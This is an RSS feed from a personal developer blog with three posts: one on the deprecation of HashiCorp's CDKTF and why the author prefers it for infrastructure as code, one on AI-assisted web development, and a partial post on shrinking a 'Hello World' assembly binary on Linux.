<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Michi's Blog]]></title><description><![CDATA[Passionate about software development and architecture, web and cloud technologies, as well as game development.]]></description><link>https://blog.lohr.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 15 Apr 2026 03:16:49 GMT</lastBuildDate><atom:link href="https://blog.lohr.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[My Favorite IaC Tool Just Got Discontinued]]></title><description><![CDATA[This is the second time I’m writing an introduction for this article. It was supposed to be about what makes my favorite Infrastructure as Code (IaC) tool, CDKTF, so great. I actually released that ar]]></description><link>https://blog.lohr.dev/cdktf</link><guid isPermaLink="true">https://blog.lohr.dev/cdktf</guid><category><![CDATA[cdktf]]></category><category><![CDATA[Terraform]]></category><category><![CDATA[hashicorp]]></category><category><![CDATA[IBM]]></category><category><![CDATA[#IaC]]></category><category><![CDATA[IaC (Infrastructure as Code)]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[Cloud Computing]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Tue, 23 Dec 2025 15:30:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766499608279/1031bd27-ba71-4e0a-a35f-c5e0e9a8c903.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is the second time I’m writing an introduction for this article. It was supposed to be about what makes my favorite Infrastructure as Code (IaC) tool, CDKTF, so great. I actually released that article on the German IT news magazine Golem.de: <a href="https://www.golem.de/news/cloudinfrastruktur-programmieren-warum-cdk-fuer-terraform-mein-lieblings-iac-tool-ist-2511-202621.html">Warum CDK für Terraform mein Lieblings-IaC-Tool ist</a>. But a couple of days after the article got released, I saw <a href="https://news.ycombinator.com/item?id=46222367">this on my Hacker News</a> front page:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766497877014/88d0c019-52cb-4e7b-8b2e-e10231d663be.png" alt="" style="display:block;margin:0 auto" />

<p>HashiCorp (and IBM, which owns HashiCorp) has suddenly decided to deprecate CDKTF, as can be seen on its <a href="https://github.com/hashicorp/terraform-cdk">official GitHub repository</a>:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766497991542/b2eef926-a7fa-4a3f-aa54-008a48f210c7.png" alt="" style="display:block;margin:0 auto" />

<p>Great… not only did I just write an article about it, but I also use CDKTF everywhere.</p>
<p>It seems like HashiCorp aims to focus their efforts on making Terraform better than <a href="https://opentofu.org/">OpenTofu</a> (a Terraform fork that emerged after a controversial license change from HashiCorp). Sadly, the OpenTofu maintainers currently don’t have the capacity to take over maintaining this project (<a href="https://github.com/opentofu/opentofu/issues/2402#issuecomment-3638632752">see this comment on GitHub</a>). But there is some hope, as the Open Construct Foundation <a href="https://www.linkedin.com/feed/update/urn:li:activity:7416812976667553793/">has announced</a> a “Community-Driven Continuation of CDKTF” which now lead to the new <a href="https://cdktn.io">CDK Terrain project</a>.</p>
<p>So there is still some hope for the future of CDKTF. Nevertheless, I want to convince you why it’s great — and why it’s better than Terraform on its own.</p>
<hr />
<p>Tooling for developing cloud infrastructure is undergoing a major shift — away from static configuration files and toward real programming languages. Almost everyone running production workloads in the cloud is familiar with <strong>Terraform</strong>. Many have also heard of the <strong>AWS CDK</strong>, which allows you to <em>programmatically</em> deploy cloud infrastructure instead of using configuration files.</p>
<p>The <strong>Cloud Development Kit for Terraform (CDKTF)</strong> brings this idea into the Terraform ecosystem. It combines the robustness of Terraform with the flexibility of TypeScript, Python, and others. The result is reusability, real logic in code, and greater expressiveness in the IaC workflow.</p>
<p>So is CDKTF just a Terraform wrapper, or a real game changer? In this article, I want to explain why it has become my preferred Infrastructure-as-Code (IaC) tool — and why I choose it over both the AWS CDK and Terraform itself.</p>
<h2>Terraform as the Foundation</h2>
<p>Terraform has been the de facto standard for Infrastructure-as-Code for years — a configuration language and toolset that allows Cloud resources to be defined in plain text. It uses a declarative syntax to describe the desired state, ensuring consistency and traceability.</p>
<p>Thanks to its vast “provider” ecosystem — a provider being the bridge between Terraform and an external Cloud provider API such as AWS — almost any Cloud or on-premise resource (from AWS and Azure to Kubernetes) can be managed in a uniform way. Terraform really shines in multi-cloud scenarios: instead of using different tools for each platform, you get a shared model and language.</p>
<p>This is complemented by a massive ecosystem, modular reusability, and an active community that provides best practices, modules, and extensions. In short: Terraform has proven that infrastructure can be managed effectively, reproducibly, and under version control rather than manually.</p>
<p>To give a concrete example, a Terraform definition for an S3 bucket on AWS looks like this:</p>
<pre><code class="language-javascript">terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~&gt; 5.0"
    }
  }
}

provider "aws" {
  region = "eu-central-1"
}

resource "aws_s3_bucket" "demo" {
  bucket = "mein-bucket-12345"
}
</code></pre>
<p>The problem with Terraform: In larger projects, HCL (Terraform’s declarative configuration language) quickly becomes hard to manage. You end up with workarounds, duplicated code, and limited expressiveness. Very often, you wish you could simply write clean, layered abstractions with inheritance in a real programming language.</p>
<p>Complex logic, such as loops, dynamic dependencies, or conditional behavior, is particularly awkward to express. This is where CDKs come into play.</p>
<h2>The Advantages of CDKTF</h2>
<p>CDK stands for <em>Cloud Development Kit</em> and was originally developed by AWS as a programmatic alternative to CloudFormation. The idea is simple: AWS provides automatically generated bindings for CloudFormation structures in various programming languages (JavaScript, TypeScript, Python, Java, C#, Go). When this program is executed, no infrastructure is changed directly. Instead, a CloudFormation configuration is generated and deployed through the standard AWS provisioning pipeline.</p>
<p>CDKTF works in a very similar way. For many Terraform providers, there are ready-made — and sometimes even hand-maintained — CDKTF bindings. If needed, you can generate bindings yourself from virtually any Terraform provider by executing a command. The infrastructure code you write generates <strong>HCL JSON</strong> (or optionally standard HCL/<em>.tf</em>/Terraform), which is essentially Terraform code in the JSON format and can be used with standard Terraform tooling.</p>
<p>Here’s what the CDKTF TypeScript code for creating an S3 bucket looks like:</p>
<pre><code class="language-typescript">import { Construct } from "constructs";
import { App, TerraformStack } from "cdktf";
import { AwsProvider, s3 } from "@cdktf/provider-aws";

class MyStack extends TerraformStack {
  constructor(scope: Construct, id: string) {
    super(scope, id);

    new AwsProvider(this, "aws", {
      region: "eu-central-1",
    });

    new s3.S3Bucket(this, "demo", {
      bucket: "mein-bucket-12345",
    });
  }
}

const app = new App();
new MyStack(app, "demo-stack");
app.synth();
</code></pre>
<p>The primary advantage of CDKTF lies in two areas: the ability to define infrastructure using familiar programming languages such as TypeScript or Python, and the application of established software engineering principles to infrastructure development.</p>
<p>Terraform modules are useful, but they quickly reach their limits. Anyone who has tried to build a generic “standard S3 bucket” module knows the result: a messy construct of variables, outputs, conditionals, and nested <code>count</code> or <code>for_each</code> expressions. It’s neither elegant nor easy to maintain.</p>
<p>With CDKTF, you can instead implement an abstraction as a class with a constructor, members, and inheritance, or use a functional approach. And because it’s TypeScript, you get type safety and editor autocomplete.</p>
<p>Here’s an example of an S3 bucket abstraction (a Construct). It creates encrypted buckets with lifecycle rules. In Terraform, this would require a module with variables and outputs. Here, it’s just a class that can also be extended using programmatic inheritance:</p>
<pre><code class="language-typescript">import { Construct } from "constructs";
import { s3 } from "@cdktf/provider-aws";

interface StandardBucketProps {
  name: string;
}

export class StandardBucket extends Construct {
  constructor(scope: Construct, id: string, props: StandardBucketProps) {
    super(scope, id);

    new s3.S3Bucket(this, "bucket", {
      bucket: props.name,
      serverSideEncryptionConfiguration: {
        rule: {
          applyServerSideEncryptionByDefault: {
            sseAlgorithm: "AES256",
          },
        },
      },
      lifecycleRule: [
        {
          enabled: true,
          expiration: { days: 365 },
        },
      ],
    });
  }
}
</code></pre>
<h2>CDKTF vs AWS CDK</h2>
<p>The decisive advantage of CDKTF over the AWS CDK is that it is not limited to a single Cloud provider. While AWS CDK locks you into the AWS ecosystem, CDKTF keeps you fully inside the provider-agnostic Terraform world.</p>
<p>Every existing Terraform provider is also available for use with CDKTF — official, community-driven, or internally developed. Even if a provider isn’t directly supported, bindings can usually be generated with little effort. This enables true multi-cloud scenarios where resources from AWS, Azure, GCP, Kubernetes, and on-prem systems can coexist without code breaks or additional tools.</p>
<p>At the same time, the entire Terraform toolchain remains intact: <code>terraform plan</code>, CI/CD integrations (for example, via Spacelift), policy checks, drift detection, state management, and debugging all work exactly as before. This lowers the barrier to entry, since teams can keep their existing workflows while gradually migrating from modules to reusable CDKTF constructs.</p>
<p>In short: CDKTF brings programmability to the IaC world without sacrificing the stability and breadth of the Terraform ecosystem — a powerful combination.</p>
<h2>Internal Mechanics and Limitations of CDKTF</h2>
<p>It’s also interesting to see how CDKTF works internally. In CDKTF TypeScript, calling something like <code>new s3.S3Bucket(...)</code> creates an object in the so-called <em>Construct Tree</em>. This tree does not directly describe infrastructure, but rather the internal model of the CDKTF application — including all stacks, providers, resources, and custom abstractions.</p>
<p>Each node represents an object instantiated in code. Static values, like, <code>"eu-central-1"</code> are stored directly, while dynamic references create “tokens”, such as for <code>bucket.arn</code>. These tokens are placeholders that initially exist only in memory — in a debugger, you’ll see strings like <code>TF_TOKEN[xyz]</code>.</p>
<p>Only during the synthesis step (<code>cdktf synth</code>) is the Construct Tree traversed, and tokens are resolved into Terraform-compatible expressions like <code>${aws_s3_bucket.demo.arn}</code>. It’s important to remember that you’re never working with real values, even if the TypeScript type hints suggest otherwise. You’re always dealing with placeholders used to generate Terraform definitions.</p>
<p>Via the <code>Fn</code> namespace, Terraform built-ins like <code>join</code>, <code>length</code>, or <code>element</code> can also be used directly in code and will appear unchanged in the generated Terraform output.</p>
<p>CDKTF itself never changes infrastructure. It generates Terraform-compliant code, which Terraform then executes and manages as usual. Sometimes, however, automatically generated provider bindings don’t cover every feature.</p>
<p>In other cases, you may need a special configuration that isn’t exposed by the classes. That’s what <em>escape hatches</em> are for: they allow you to directly influence the generated code and set or override arbitrary fields — essentially a last resort to fall back to raw Terraform definitions (more on that <a href="https://developer.hashicorp.com/terraform/cdktf/concepts/resources#escape-hatch">here</a>).</p>
<h2>Locking, Drift, and Refactoring Pain</h2>
<p>As powerful as CDKTF is, it has limits. You remain within the Terraform ecosystem, including all its quirks: state management, locking, drift, and the well-known pain of refactoring resource names. You also need to be careful when moving resources between constructs, since constructs implicitly influence Terraform resource IDs.</p>
<p>Breaking changes in provider bindings can also cause issues in your codebase. Another limitation lies in abstraction itself: even though you’re writing a real programming language, everything ultimately has to compile down to valid Terraform JSON.</p>
<p>Anyone expecting to write arbitrary code will quickly hit the hard boundary of Terraform semantics. Early on, it can be difficult to internalize that you’re writing code that <em>generates</em> Terraform — not code that directly manipulates infrastructure. CDKTF also doesn’t shield developers from having to understand Terraform itself. To debug issues, you still need to understand the generated Terraform code.</p>
<h2>Experimental Features and Documentation Gaps</h2>
<p>CDKTF is also not as mature as Terraform itself. Some features feel experimental, and the documentation has noticeable gaps. Often, you’ll find little more than auto-generated API references or scattered examples in GitHub issues and blog posts. Consistently maintained guides and best practices are still largely missing.</p>
<p>Anyone who wants to go deeper often has to read generated source code or type definitions. This raises the entry barrier and requires a high level of initiative — especially compared to classic Terraform, which benefits from years of community knowledge and documentation.</p>
<h2>Pulumi as an Alternative</h2>
<p>Another interesting player is Pulumi. Similar to CDKTF, infrastructure is written in TypeScript, Python, Go, or C# — but without the Terraform intermediary step. Thanks to the Terraform Bridge framework, all existing Terraform providers can still be used, giving Pulumi nearly the same reach as Terraform, but without its own syntax.</p>
<p>The key difference lies in architecture: CDKTF is a generator for Terraform definitions, while Pulumi has its own engine and talks directly to providers. This makes Pulumi leaner and more flexible, while CDKTF inherits all the strengths and weaknesses of Terraform unchanged. Pulumi can deliver new features faster, but ties you more closely to its own ecosystem.</p>
<h2>Conclusion</h2>
<p>In the end, CDKTF represents a meaningful step forward in the evolution of Infrastructure-as-Code. It combines the stability and maturity of Terraform with the expressiveness of modern programming languages and brings real software engineering practices into the infrastructure world.</p>
<p>Yes, you remain bound to Terraform’s limits and occasionally need escape hatches. But in practice, the benefits outweigh the drawbacks: better reusability, clearer abstractions, real testability, and a significantly improved developer experience.</p>
<p>For teams that no longer see infrastructure as a necessary evil, but as an integral part of their software, CDKTF is a game changer — and for me personally, the new standard for how modern infrastructure projects should be built.</p>
]]></content:encoded></item><item><title><![CDATA[The New Age of Web Development]]></title><description><![CDATA[💡
This article was originally published in German on golem.de. You can read it here.


Web development today is nothing like it used to be: With the rise of web apps, frameworks, and developer tools have matured massively. And now there are even spe...]]></description><link>https://blog.lohr.dev/ai-web-development</link><guid isPermaLink="true">https://blog.lohr.dev/ai-web-development</guid><category><![CDATA[Web Development]]></category><category><![CDATA[AI]]></category><category><![CDATA[#ai-tools]]></category><category><![CDATA[development]]></category><category><![CDATA[webdev]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 10 Sep 2025 14:57:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757514590800/5394e371-cc07-4723-ac8c-a279f6d707d0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This article was originally published in German on golem.de. You can read it <a target="_self" href="https://www.golem.de/news/kuenstliche-intelligenz-so-einfach-wie-heute-war-webentwicklung-noch-nie-2507-197705.html">here</a>.</div>
</div>

<p>Web development today is nothing like it used to be: With the rise of web apps, frameworks, and developer tools have matured massively. And now there are even specialized AI assistants for web development. That makes it easier than ever: these days, almost anyone – even without deep prior knowledge – can throw a website or app online in no time, though the quality might be questionable. With the right prompt and an AI assistant, you don’t even need to fully understand all the concepts – the AI writes along, explains, optimizes, and can even deploy it for you if you want.</p>
<p>Ten years ago, if you wanted to build something as simple as a to-do list web app, you’d write the backend in PHP with MySQL, do the layout in HTML, and style it with CSS. Maybe you’d use <a target="_blank" href="https://jquery.com">jQuery</a> to add some interactivity. Even the languages themselves have changed drastically since then. To publish your finished app, you’d rent a server, install Apache, and upload everything with <a target="_blank" href="https://filezilla-project.org">FileZilla</a>.</p>
<p>CI? CD? – meaning continuous integration and automated deployment – barely anyone talked about that. The term DX, or Developer Experience (a term inspired by UX), wasn’t really a thing either. A few frameworks were ahead of their time, but mainstream web development? Rare.</p>
<h3 id="heading-developer-experience-is-now-more-important-than-ever"><strong>Developer Experience is now more important than ever</strong></h3>
<p>Today it’s a whole different story: web apps have become hugely popular because they’re central to digital life and instantly available. Unlike traditional software, you can reach them from your phone with just a couple of taps – no downloads needed. That explains the massive commercial interest driving this space.</p>
<p>Instead of fiddling with vanilla HTML, CSS, and JavaScript, people now reach for frameworks like <a target="_blank" href="https://react.dev">React</a>, <a target="_blank" href="https://vuejs.org">Vue</a>, or <a target="_blank" href="https://svelte.dev">Svelte</a>. You don’t even need to write your own backend anymore – services like <a target="_blank" href="https://firebase.google.com">Firebase</a>, <a target="_blank" href="https://supabase.com">Supabase</a>, or other BaaS (Backend as a Service) providers let you get started immediately. And if you do need your own backend, you’ll probably write it in TypeScript with a full-stack framework like <a target="_blank" href="https://nextjs.org">Next.js</a> or <a target="_blank" href="https://nuxt.com">Nuxt</a>, and deploy it straight to <a target="_blank" href="https://vercel.com">Vercel</a> or <a target="_blank" href="https://railway.app">Railway</a> – no server setup required.</p>
<p>The CI/CD process? Drag-and-drop it together and run it free on <a target="_blank" href="https://github.com/features/actions">GitHub Actions</a>, <a target="_blank" href="https://docs.gitlab.com/ee/ci/">GitLab Pipelines</a>, or <a target="_blank" href="https://support.atlassian.com/bitbucket-cloud/docs/get-started-with-bitbucket-pipelines/">Bitbucket Workflows</a>. It all plugs right into modern dev workflows: push a branch, tests run automatically, linters check code quality, and after merging, it deploys instantly – often with preview environments for each pull request.</p>
<p>Developer Experience has become a defining quality factor. <a target="_blank" href="https://code.visualstudio.com">VS Code</a> with smart IntelliSense, live reload, and hot module replacement increases the iteration speed. One can push with confidence thanks to testing tools like <a target="_blank" href="https://storybook.js.org">Storybook</a> and <a target="_blank" href="https://playwright.dev">Playwright</a>. Errors show up immediately, feedback cycles are short, and onboarding new devs takes hours, not weeks.</p>
<p>Design and UX are tightly integrated, too. <a target="_blank" href="https://figma.com">Figma</a> files can be turned straight into code, <a target="_blank" href="https://tailwindcss.com">Tailwind CSS</a> or CSS-in-JS make styling predictable and reusable. What once took weeks now gets done over a weekend – or even in an afternoon with the right stack.</p>
<p>In short, web development today isn’t just easier – it’s faster, more scalable, more collaborative, and more accessible. The entry barrier has dropped, but the professionalism you can reach with minimal effort has exploded. What once needed a team with complex processes, a single dev can now do in an afternoon.</p>
<h3 id="heading-enter-the-age-of-ai-assistants"><strong>Enter the age of AI assistants</strong></h3>
<p>The next evolutionary step in web dev is not just easier – it’s partly automated. AI-powered tools like <a target="_blank" href="https://github.com/features/copilot">GitHub Copilot</a>, <a target="_blank" href="https://chat.openai.com">ChatGPT</a>, <a target="_blank" href="https://codeium.com">Codeium</a>, or <a target="_blank" href="https://cursor.com">Cursor</a> can now write large parts of the code. They don’t just suggest syntax; they understand (if you can call it that) context, architecture, design patterns, and sometimes even business logic.</p>
<p>Even if humans still implement the final solution, it makes sense to let AI assistants like <a target="_blank" href="https://coderabbit.ai">CodeRabbitAI</a>, <a target="_blank" href="https://github.com/features/copilot">Copilot</a>, or <a target="_blank" href="https://aws.amazon.com/codeguru/">CodeGuru</a> review it.</p>
<p>Want to prototype a new app? Drop a prompt – 15 seconds later, you’ve got a working React setup with tests, styling, and documentation. Need an API? Generate the <a target="_blank" href="https://www.openapis.org">OpenAPI</a> interface and ask the AI to generate the deployment commands for Vercel with it. Want a feature with auth, validation, and DB integration? With the right prompts and templates, you’re production-ready in minutes.</p>
<h3 id="heading-the-to-do-list-as-the-hello-world-of-web-dev"><strong>The to-do list as the “Hello World” of web dev</strong></h3>
<p>A concrete example: the modern to-do list app. Why? Because it’s the perfect example that touches many aspects of web development. It’s become the <a target="_blank" href="https://todomvc.com">“Hello World” of the field</a> – almost every language and framework has one.</p>
<p><a target="_blank" href="https://chat.openai.com">ChatGPT</a> suggests the tech stack. After a few prompts, I have a <a target="_blank" href="https://blog.lohr.dev/dev-containers">VS Code dev container</a> running <a target="_blank" href="https://github.com/nodejs/node">Node</a> and <a target="_blank" href="https://bun.sh">Bun</a> (a modern NPM alternative, written in Zig - btw, I have written <a target="_blank" href="https://blog.lohr.dev/after-a-day-of-programming-in-zig">about Zig previously if you are interested</a>), with all dependencies and editor extensions preinstalled.</p>
<p><a target="_blank" href="https://nextjs.org">Next.js</a> makes it easy to spin up a full-stack app. I run <code>bunx create-next-app@latest</code>, hit Enter a few times, and I’m set.</p>
<p>With <a target="_blank" href="https://v0.dev">v0</a> (Vercel’s AI – the same people behind Next.js), I generate the frontend:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757513570406/b088cf7b-48fa-46c9-81e0-83dc847c36bd.png" alt class="image--center mx-auto" /></p>
<p>The free version already produces a fully working result: styled with <a target="_blank" href="https://ui.shadcn.com">shadcn/ui</a>, which builds on <a target="_blank" href="https://tailwindcss.com">TailwindCSS</a> and <a target="_blank" href="https://www.radix-ui.com">Radix UI</a> and makes it super easy to build interactive frontends.</p>
<p>A couple more prompts later, I have a working backend using React Server Actions with a PostgreSQL database schema. v0 even offers to spin up a database for me, hosted on <a target="_blank" href="https://neon.tech">Neon</a> (serverless Postgres with a generous free tier).</p>
<p>I import the v0 project into my local Next.js setup in VS Code. From here, I use <a target="_blank" href="https://cursor.com">Cursor</a>, a VS Code fork with AI baked in, to support further development. Adding auth? Easy – just plug in <a target="_blank" href="https://clerk.com">Clerk</a> or <a target="_blank" href="https://www.better-auth.com/">BetterAuth</a>. Want to provide an API? Next.js App Router basically has you covered already.</p>
<p>Deployment is just: push to <a target="_blank" href="https://github.com">GitHub</a> → connect repo to Vercel → assign a domain → optionally set up a GitHub Action for linting and tests. Done. A working prototype or project foundation in under 60 minutes – thanks to modern tooling + AI.</p>
<p>Of course, these tools are just an exemplary selection of mine. There are plenty of alternatives that can achieve the same. The key is: combining smooth modern DX with AI changes not only how we develop, but who can develop. The barrier hasn’t just dropped – in many cases, AI has erased it.</p>
<p>At the same time, these tools deliver a level of quality and speed that was unthinkable just a few years back. For large production systems, it’s still another story – scaling, observability, security, architecture, code quality – all of that matters, and AI still struggles there. But even in those areas, AI and modern tooling are changing how we solve problems, organize teams, and deliver innovation faster.</p>
<h3 id="heading-the-future-prompt-driven-development"><strong>The future? Prompt-Driven Development</strong></h3>
<p>Prompt-Driven Development – building through targeted interaction with AI assistants – is shaping up to be the next core dev skill. Instead of writing every line manually, developers describe behavior in natural language and get structured code, components, or configs back.</p>
<p>The crucial skill is formulating clear, precise, contextual requirements. Those who master it will build faster, offload repetitive work, and crank out complex prototypes solo in record time – things that used to take entire teams.</p>
<p>But architecture thinking, responsibility, and systems knowledge remain essential. AI can suggest code, make architectural choices, and sketch out complex systems – but only if it’s given enough context. Without that, it operates probabilistically, remixing common solutions from training data and making assumptions that might not fit.</p>
<h3 id="heading-ai-is-not-a-magic-bullet"><strong>AI is not a magic bullet</strong></h3>
<p>The quality of AI output will never be exceptional – LLMs don’t invent original solutions, they remix averages from their training data. The result is functional but not innovative, not optimized, not consciously designed – just a recombination of millions of examples.</p>
<p>Those who give precise prompts and control what’s generated will gain a lot – for prototyping, repetitive building blocks, or initializing project parts. The efficiency boost doesn’t come automatically from AI, but from knowing how to use it: setting goals, judging drafts, validating choices.</p>
<p>AI isn’t a replacement for technical thinking – it’s a multiplier. If you know what you want, you’ll get it faster. If you don’t, you’ll just automate chaos.</p>
<p>AI won’t replace developers. If anything, it tempts devs to switch off their brains and just accept its output. That’s dangerous: misuse it or use it carelessly, and you’ll introduce bugs or overwrite code you didn’t mean to.</p>
<p>A <a target="_blank" href="https://www.atlassian.com/software/compass/resources/state-of-developer-2024">2024 Atlassian survey on Developer Experience</a> found two-thirds of devs haven’t seen major productivity gains from AI tools yet. Still, 61% are optimistic that this will improve in the next two years.</p>
<h3 id="heading-from-automation-to-augmentation-the-new-developer-role"><strong>From automation to augmentation – the new developer role</strong></h3>
<p>The whole mindset around DX and great tooling has only really emerged in recent years, but the pace has been incredible. And it’s still evolving fast. We’re standing at the edge of a new phase in software dev.</p>
<p>Past tools automated repetitive tasks. Today’s AI systems assist with thinking, decision-making, and even design. It’s no longer just about efficiency – it’s about augmentation: extending our capabilities with smart assistants.</p>
<p>The developer role is changing noticeably: instead of writing every line of code, we structure ideas and workflows that AI quickly turns into prototypes. We define requirements, prioritize, validate, and iterate. The focus shifts from syntax and implementation detail toward architecture, system design, and product logic.</p>
<p>The premise: this change will lead to far more efficient development. Whether it actually delivers – we’ll see.</p>
]]></content:encoded></item><item><title><![CDATA[The Smallest Hello World Program]]></title><description><![CDATA[So, initially, I just wanted to see what the smallest binary size for a ‘Hello World’ program written in Rust would be. Why? Out of curiosity - it's probably just a simple compiler flag anyway, right? Well, turns out there are some that help, but you...]]></description><link>https://blog.lohr.dev/smol-hello-world</link><guid isPermaLink="true">https://blog.lohr.dev/smol-hello-world</guid><category><![CDATA[Developer]]></category><category><![CDATA[Linux]]></category><category><![CDATA[software development]]></category><category><![CDATA[Assembly]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Mon, 30 Dec 2024 12:23:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735561608824/36a6c9ed-ff09-47f8-8467-e34551e75b79.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So, initially, I just wanted to see what the smallest binary size for a ‘Hello World’ program written in Rust would be. Why? Out of curiosity - it's probably just a simple compiler flag anyway, right? Well, turns out there are some that help, but you need a lot more work to get a truly minimal binary. Much of it is not even related to Rust! Of course, there are many drawbacks when optimizing for a minimal executable, but there are valid use cases where space or transfer size is crucial.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735557972219/613674fd-68f7-4c91-a234-d1f9c7383c83.png" alt class="image--center mx-auto" /></p>
<p>As a first step, I want to see what the lowest general limit for a ‘Hello World’ program is. To have the most control and be sure that there is no overhead from a compiler, I will develop it in assembly. With that baseline, I can then compare the resulting binary with one written in Rust (or even Zig and C) in future.</p>
<p>Let’s first establish some rules for our ‘Hello World’ program:</p>
<ul>
<li><p>The program has to be executable on any modern 64-bit x86 Linux machine</p>
</li>
<li><p>It should be able to execute directly without passing to any other programs first (so no decompression)</p>
</li>
<li><p>It should be a ‘proper‘ executable binary according to the spec</p>
</li>
<li><p>It should print ‘Hello World‘ to the standard output and exit with code <code>0</code> (success)</p>
</li>
<li><p>Performance does not matter, but it should show the text fast</p>
</li>
</ul>
<p>Now, to write the x86 assembly: A normal ‘Hello World‘ program is actually not as trivial as it sounds, since we need to interact with our operating system to print to the terminal. We can craft the syscall ourselves, but typically developers would use <code>libc</code> to call the <code>printf</code> function. However, since we are on our quest for a minimal binary, this won’t be an option since <code>printf</code> does actually quite more than just print to the <code>stdout</code> and we would have to link to <code>libc</code> which comes with a lot of overhead!</p>
<p>This is the most trivial assembly I was able to come up with (without optimizing further, we will do this later):</p>
<pre><code class="lang-c">msg: db <span class="hljs-string">'Hello, World!'</span>, <span class="hljs-number">0xA</span>

global _start
_start:
    mov rax, <span class="hljs-number">1</span>         ; syscall: sys_write
    mov rdi, <span class="hljs-number">1</span>         ; file descriptor: <span class="hljs-built_in">stdout</span>
    lea rsi, [rel msg] ; pointer to message
    mov rdx, <span class="hljs-number">14</span>        ; message length
    syscall

    mov rax, <span class="hljs-number">60</span>        ; syscall: sys_exit
    mov rdi, <span class="hljs-number">0</span>         ; <span class="hljs-built_in">exit</span> code <span class="hljs-number">0</span>
    syscall
</code></pre>
<p>To give a short explanation: First, we write the bytes of the null-terminated ‘Hello World‘-string statically into the assembly. We expose our application’s entry point to the ELF interface (which we will learn about later) by defining the label <code>_start</code> as global.</p>
<p>To actually print something, we want to call the <code>sys_write</code> syscall. In the Linux source code, it is defined <a target="_blank" href="https://github.com/torvalds/linux/blob/d6ef8b40d075c425f548002d2f35ae3f06e9cf96/fs/read_write.c#L739">here</a> as:</p>
<pre><code class="lang-c">SYSCALL_DEFINE3(write, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>, fd, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> __user *, buf, <span class="hljs-keyword">size_t</span>, count)
{
    <span class="hljs-keyword">return</span> ksys_write(fd, buf, count);
}
</code></pre>
<p>So it is defined by some C macro and just calls another helper function. The signature will expand to something like:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">long</span> <span class="hljs-title">sys_write</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> fd, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> __user *buf, <span class="hljs-keyword">size_t</span> count)</span></span>;
</code></pre>
<p>The first argument identifies the file descriptor (<code>stdout</code> in our case, which is <code>1</code>). The second one is a pointer to the data; finally, we have the length of the data.</p>
<p>We still need the final syscall to exit cleanly with code <code>0</code>; then we are done. I avoid using the .data section as this will introduce additional section headers, metadata and alignment bytes.</p>
<p>To assemble this, I use the <a target="_blank" href="https://github.com/netwide-assembler/nasm">NASM assembler</a> and link with <code>ld</code>:</p>
<pre><code class="lang-bash">$ nasm -f elf64 -o hello.o hello.asm <span class="hljs-comment"># assemble the source file with NASM</span>
$ ld -o hello hello.o                <span class="hljs-comment"># link the object file with LD</span>
$ chmod +x hello                     <span class="hljs-comment"># mark as executable</span>
</code></pre>
<p>Now let’s see if it works and print the size:</p>
<pre><code class="lang-bash">$ ./hello
Hello World!
$ wc -c hello <span class="hljs-comment"># linux utility to count bytes (-c)</span>
4728 hello
</code></pre>
<p>So 4728 bytes. Not bad ey?</p>
<p>But why do we need so many bytes for something so simple in the first place? Remember the two commands we used to build the executable? Let’s print the size after every step:</p>
<pre><code class="lang-bash">$ wc -c hello.o <span class="hljs-comment"># the object file (assembler output)</span>
640 hello.o
$ wc -c hello   <span class="hljs-comment"># the final executable (linker output)</span>
4728 hello
</code></pre>
<p>Why does our binary get more than 7 times bigger during the linking process with <code>ld</code>? And why do we need to link anyway?!</p>
<p>In short: The GNU linker (<code>ld</code>) takes one or more object files (e.g., <code>hello.o</code>) produced by assemblers and combines them into an executable binary or a shared library (<code>.so</code>). It resolves symbols (like the <code>_start</code> label) and hardcodes their final memory addresses inside the binary. It will also move some addresses around and add zero bytes to optimize the memory layout. If we were to use shared libraries it would also set those up for us. Additionally, debug symbols are generated to make debugging possible. Finally, it generates the application entry point so the system can directly execute it. Since this process involves understanding the assembly and moving around many things, optimizing the input object file (removing padding/alignment bytes or symbols) won’t decrease the file size of the final executable but might even break the linking process - believe me, I tried.</p>
<p>Instead, we can try to remove some of that information from the binary. For example, symbols will help us debug the application - but we don’t need that since our code always works perfectly first try. Let’s have a look at them:</p>
<pre><code class="lang-bash">$ nm hello
0000000000402000 T __bss_start
0000000000402000 T _edata
0000000000402000 T _end
0000000000401000 t msg
000000000040100e T _start
</code></pre>
<p>Some of those strings might sound familiar from our assembly code, others are built-ins. Using <code>strip</code> we can get rid of them:</p>
<pre><code class="lang-bash">$ wc -c hello <span class="hljs-comment"># the final executable (linker output)</span>
4728 hello
$ strip --strip-all hello
$ wc -c hello
4352 hello
$ ./hello
Hello World!
</code></pre>
<p>Down to 4352 bytes! So we removed a bunch of stuff and the executable still works just fine.</p>
